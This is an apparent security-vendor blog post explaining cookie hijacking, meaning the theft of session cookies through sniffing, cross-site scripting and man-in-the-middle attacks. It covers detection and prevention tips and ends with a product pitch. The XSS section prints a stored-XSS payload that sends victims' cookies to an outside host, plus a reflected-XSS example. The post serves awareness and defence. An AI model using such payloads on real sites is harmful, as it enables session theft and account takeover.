What is Cookie Hijacking

Cookie hijacking, also known as session hijacking, is a major cybersecurity threat that allows attackers to gain unauthorized access to a user’s account by stealing session cookies. Once hijackers obtain these cookies, they can impersonate the victim and bypass typical security measures like passwords or even two-factor authentication (2FA).

In 2024, as online threats evolve, cookie hijacking attacks remain a serious concern, especially for organizations handling sensitive data. Understanding how session cookie hijacking works and knowing how to prevent it are key steps in protecting your business from these attacks.

The video below demonstrates a good example of cookie hijacking.

Understanding Session and Cookie Security Threats

To protect against cookie hijacking, it’s important to first understand what session cookies do. Session cookies are small data stored in your browser that allow websites to track and maintain your activity while logged in. They enable you to move from page to page on a website without needing to log in again for each action. However, these same cookies can be exploited by attackers to take over your session if they aren’t properly secured.

Cookie Hijacking vs. Cookie Poisoning

Although both cookie hijacking and cookie poisoning exploit cookies, they serve different purposes.

• Cookie hijacking involves stealing session cookies to impersonate a user and gain unauthorized access to their account. For example, if an attacker intercepts a session cookie during an active login, they can hijack the session and access the account without needing a password or two-factor authentication. This is a classic cookie hijacking attack aimed at taking over user sessions.
• Cookie poisoning, however, focuses on altering the content of cookies to manipulate how a web application behaves. An attacker might modify a cookie to inject malicious data or elevate their access rights within the application. Unlike session cookie hijacking, cookie poisoning changes how the application processes cookie data.

While cookie hijacking is about unauthorized access, cookie poisoning manipulates the functionality of the web application.

Cookie Hijacking vs. Session Hijacking

Cookie hijacking is a specific type of session hijacking. When an attacker steals a session cookie, they can take over the user’s active session without needing login credentials or two-factor authentication (2FA). By hijacking the session cookie, attackers can gain full access to the user’s account, just as if they had logged in themselves.

In short, session cookie hijacking is a direct method of hijacking a user’s session by capturing the cookie that authenticates their login.

How Does Cookie Hijacking Work?

Cookie hijacking occurs when attackers exploit vulnerabilities to steal session cookies, which are stored in the user’s browser during an active session. Once stolen, these cookies allow the attacker to impersonate the user without needing a username or password.

For example, imagine you log into your email account on a public Wi-Fi network. If an attacker intercepts your session cookie during that process, they can hijack your session and gain access to your account. Since session cookies store your login status, the attacker can act as you without needing further authentication. This is a common cookie hijacking example of how hackers take advantage of unsecured networks.

Please check the videos below and learn more about how attackers steal cookies.

What Are The Common Techniques Used in Cookie Hijacking?

Cybercriminals have developed various methods to steal session cookies, often exploiting weak network security or application vulnerabilities. Let’s dive into the most common techniques used in cookie hijacking attacks.

Session Sniffing

Session sniffing is one of the most straightforward techniques used in cookie hijacking. Attackers monitor network traffic using packet-sniffing tools to capture unencrypted data, such as session cookies. This method is especially effective on unsecured networks, like public Wi-Fi, where data is transferred without encryption. If websites don’t use HTTPS encryption, it becomes easy for attackers to intercept the session cookies and hijack the user’s session.

Cross-Site Scripting (XSS)

Cross-site scripting (XSS) attacks are another common method for cookie hijacking. In an XSS attack, an attacker injects malicious code into a vulnerable website. If a user visits the compromised page or clicks a malicious link, the injected script runs in the user’s browser and steals the session cookies. For example, if a hacker finds an XSS vulnerability in a website, they can exploit it to hijack the sessions of unsuspecting users. Learn more about the dangers of XSS in this guide to phishing trends.

Stored XSS attack example payload:

     
       

         

           $ <script type=“text/javascript”>document.location=“http://192.168.0.48:5000/?c=“+document.cookie;</script>
          

       
     
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Reflected XSS attack example payload:

     
       

         

           $ https://vunerablesite.com/index.php?q=<script type=”text/javascript”>alert(‘XSS’); </script>
          

       
     
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Man-in-the-Middle (MitM) Attacks

In a man-in-the-middle (MitM) attack, the attacker intercepts communication between a user and a website. This type of attack often happens on unsecured public networks, where the attacker positions themselves between the user and the web server, capturing session cookies as they are exchanged. Once in possession of these cookies, the attacker can hijack the session and access the user’s account. MitM attacks are especially dangerous when users connect to websites without proper encryption, such as on public Wi-Fi networks.

What Are the Risks and Consequences of Cookies Hacking?

The consequences of cookie hijacking go far beyond just losing access to your account. Here’s why it’s such a serious threat:

• Identity Theft: Once an attacker gains access to your session, they can impersonate you across various platforms, potentially leading to identity theft.
• Financial Loss: For organizations, cookie hijacking can allow attackers to access sensitive financial accounts, leading to unauthorized transactions or the theft of funds.
• Corporate Data Breaches: Hijacked sessions can give attackers access to sensitive business information, potentially resulting in a data breach or intellectual property theft.
• Reputational Damage: For companies, a successful attack can lead to loss of customer trust and legal consequences if sensitive data is exposed.

A recent example of session hijacking occurred during the Twilio data breach, where attackers gained unauthorized access to customer data by exploiting vulnerabilities in session management. Learn more about that attack here.

How To Detect Cookie Hijacking?

Detecting cookie hijacking can be challenging because the attack often happens without noticeable signs. However, there are a few red flags that might indicate an ongoing session hijack:

• Unusual account activity: If you notice unfamiliar logins, unexpected messages, or unauthorized transactions, this could be a sign that someone has hijacked your session.
• Active sessions from unknown locations: Many platforms show where and when your account has been accessed. If you see logins from locations or devices you don’t recognize, it could mean an attacker has hijacked your session.
• Sudden logouts: If you’re repeatedly logged out of websites where you were previously logged in, it might indicate that someone else is controlling your session.

Monitoring your account activity regularly and using tools that track active sessions can help you detect signs of hijacking early.

How To Prevent Cookie Hijacking Attacks?

There are several effective measures you can take to protect against cookie hijacking. Implementing these steps can significantly reduce your risk of falling victim to a cookie hijacking attack:

• Use HTTPS: Always ensure that the websites you visit use HTTPS to encrypt your data and protect your session cookies from being intercepted by attackers.
• Enable Two-Factor Authentication (2FA): Even though attackers can bypass passwords using session cookies, 2FA adds an extra layer of security by requiring a second verification step.
• Avoid Public Wi-Fi: Public Wi-Fi networks are breeding grounds for hackers. If you need to use them, always connect via a VPN to encrypt your traffic.
• Clear Cookies Regularly: Deleting your cookies regularly helps prevent attackers from hijacking old session cookies.
• Keep Your Software Updated: Ensure that your browser and operating system are always up to date, as updates often include patches for vulnerabilities that could be exploited in hijacking attacks.

For more on securing your mobile devices against session hijacking, check out this comprehensive guide.

Defend Against Cookie Hijacking with Keepnet’s Security Solution

Preventing cookie hijacking requires more than just basic precautions—it demands ongoing vigilance and proactive security measures. Keepnet offers several tools to help your business defend against these attacks:

• Phishing Simulator: With Keepnet’s Phishing Simulator, you can test your organization’s ability to detect and respond to phishing and session hijacking attacks. These simulations allow you to identify gaps in your security posture, even on HTTPS-enabled sites with MFA.
• Security Awareness Training: Keepnet’s Security Awareness Training provides detailed training on session hijacking and other key cybersecurity threats. Educating your employees is a crucial part of cookie hijacking prevention, as human error often plays a role in successful hijacks.
• Threat Intelligence: Our Threat Intelligence tools allow businesses to detect potential hijacking attempts early by identifying emerging attack patterns and vulnerabilities.

Start securing your business today. Train your users to reduce session hijacking risks by up to 90% with Keepnet’s security solutions. Request a free demo of our Phishing Simulator now and ensure your team is prepared for cookie hijacking threats.

Check out the video below to see our Phishing Simulator in action. It shows you how to create simulations of attacks to check how well your security holds up against cookie-hijacking attempts.

Check out the video below for more details about Keepnet's Human Risk Management platform.

This blog was updated on the 7th of October, 2024.